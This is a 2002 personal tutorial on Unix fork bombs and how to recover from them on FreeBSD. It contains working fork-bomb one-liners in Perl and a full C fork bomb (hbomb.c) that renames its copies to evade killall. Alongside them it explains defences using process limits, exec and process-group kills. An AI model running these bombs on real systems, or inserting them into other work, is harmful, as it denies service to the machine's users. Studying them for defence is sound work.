Unix Fork Bombs: Detonation and Diffusion

written: 29 december 2002

A fork bomb is when a process recursively forks off itself, in a never-ending loop taking up all the process table entries--denying any new process creation. One incarnation of the classic fork bomb has been resurrected here in Perl: labomba.pl:

    perl -e'fork()while(1)' &

Example login session:

    login: someuser
    Password:
    > perl -e'fork()while(1)' &
    [1] 3278
    > ls
    No more processes.
    > ps
    No more processes.
    > killall perl
    No more processes.

Clearly, a fork bomb is a denial-of-service attack. The user has locked himself out. Malicious users will want this DoS to extend to the entire system; however with modern Unix operating systems this is not the case:

    login: root
    Password:
    # ls
    (the ls runs successfully)
    # killall perl
    (someuser's perl fork bomb is killed) 
    # logout
(This was done on a fresh FreeBSD install.)

Other, non-root users will also be able to login and run programs.

However, if you unintentionally execute a fork bomb on your own account, it may be useful to know how to leave space for just one more process to invoke killall(1) to get rid of the malicious processes.

Using csh's limit maxproc

On my FreeBSD box, all users have a default limit of 838 processes. csh (and derived shells) can set the limit like this:

> limit maxproc 837

When the fork bomb is executed again, only 837 instances will run, and you can change the process limit to 838 and quickly execute a killall to remove all of the forked processes:

    > perl -e'fork()while(1)' &
    [1] 1143
    > limit maxproc 838; killall perl
    > ps
      PID  TT  STAT      TIME COMMAND
      178  v0  I      0:00.02 -tcsh (tcsh)
     1985  v0  R+     0:00.00 ps

Arguably, there is a race condition; in theory the Perl script could fork another instance of itself before "killall perl" but after "limit maxproc", but emperical evidence shows this is not the case, at least in my tests. "limit" is a built-in command to csh(1), therefore it executes without requiring another creation of a process.

(Sidenote: FreeBSD has a system-wide read-only maximum process limit, use sysctl kern.maxproc to view it (its 932 on my box running 4.7-RELEASE).)

Using exec For One Last Command

There are other ways to execute commands without raising your maximum process limit. "exec" is an internal shell command which lets a program replace your login shell, so you don't need space to create a new process. Heres how its used:

    > perl -e'fork()while(1)' &
    > ps 
    No more processes.
    > exec killall perl  

    login:

Notice how the user has been logged out -- since exec replaces your login shell with killall, you're left without a login shell after the process terminates. exec(3) can be useful when logging out doesn't close all your processes (nohup).

Defeating killall(1)

'killall perl' works for perl bombs...but what if the program modifies its argv[0] to change the appearance of the running program in ps? abomb.pl:

     > perl -e'while(){fork();$0=rand}' &

'ps' will show random numbers (less than 1) for each instance of this program, however, Unix does not remove 'perl'. In fact, the original filename in which the program was invoked with is stored in a variable known as acct_name, for accounting purposes. acct_name cannot be changed, so even with the tricks above, "killall perl" works as expected.

However, since acct_name is derived from the actual filename, it is possible to change acct_name by having the fork bomb copy itself to a new name, fork, and exec the new file. Here is a C program to do just that:

    /*
     * fork bomb (hbomb.c) copies itself to random names to spoof acct_name
     */
    
    #include <unistd.h>
    #include <fcntl.h>
    #include <errno.h>
    
    /* maximum size expected of this executable to copy */
    #define BIN_SIZE    60000
    
    extern char** environ;
    
    int main(int argc, char** argv)
    {
        int this, chld, bytes, pid;
        char cfn[30];  /* child filename */
        char* oldfn = argv[0];
        char* buf;
        char* args[] = { "xxx", 0 };
    
        srand(getpid());
    
        while(1)
        {
            /* use a random number as the new filename */
            snprintf(cfn, 30, "./%d", rand() % 100); 
            this = open(argv[0], O_RDONLY);
            chld = open(cfn, O_CREAT | O_WRONLY, 0777);
    
            printf("cp %s -> %s\n", argv[0], cfn);
            /* copy this file to the new file */
            buf = (char*)malloc(BIN_SIZE);
            bytes = read(this, buf, BIN_SIZE);
            if (!bytes)
                printf("blank file %s\n", argv[0]);
            bytes -= write(chld, buf, bytes);
            free(buf);
            if (bytes) 
                printf("failed to write %d bytes to %s\n", bytes, cfn);
    
            close(this);
            close(chld);
    
            pid = fork();
            if (!pid)     /* in a child process, execute with new name */
            {
                /*printf("attempting execvp...");*/
                args[0] = cfn;
                printf("exec=%d, error=%d\n", execvp(cfn, args), errno);
                /* if can't execute (process limit reached?), exit */
                exit(0);  
            } else if (pid == -1) {   /* failed to fork */
                printf("failed to fork, sleeping indefinitely\n");
                sleep(60);
                sleep(60);
            }
        }
        return 0;
    }

Now what? You can't use killall(1) because each process has a random name. (The above example just uses a random number, but a random character sequence could have been used just as well.) Well, if you do a 'ps jxa', you'll see the parent's process id (PPID) also, and the process group (PGID). All the proceses have the same PGID. To kill a group of processes by its process group, simply use negative values to kill:

     >kill -TERM -38970     (if the PGID was 38970. do this w/ exec or csh)

Last Resort: Having a Sysadmin Remove The Fork Bomb

Contact root, he should be able to kill the needless processes. If you *are* root, perhaps you...this has been left as an exercise for the reader.

AFTERWORD

I don't have any non-FreeBSD systems handy; if anyone knows how to set the kernel process limits or the default limits for Linux or other operating systems, or other information, posting it here would be appreciated. Thanks, and I hope this small tutorial is useful to someone.

Modified Sun Mar 25 08:48:47 2007 generated Sun Mar 25 08:56:32 2007
http://jeff.tk/forkbomb/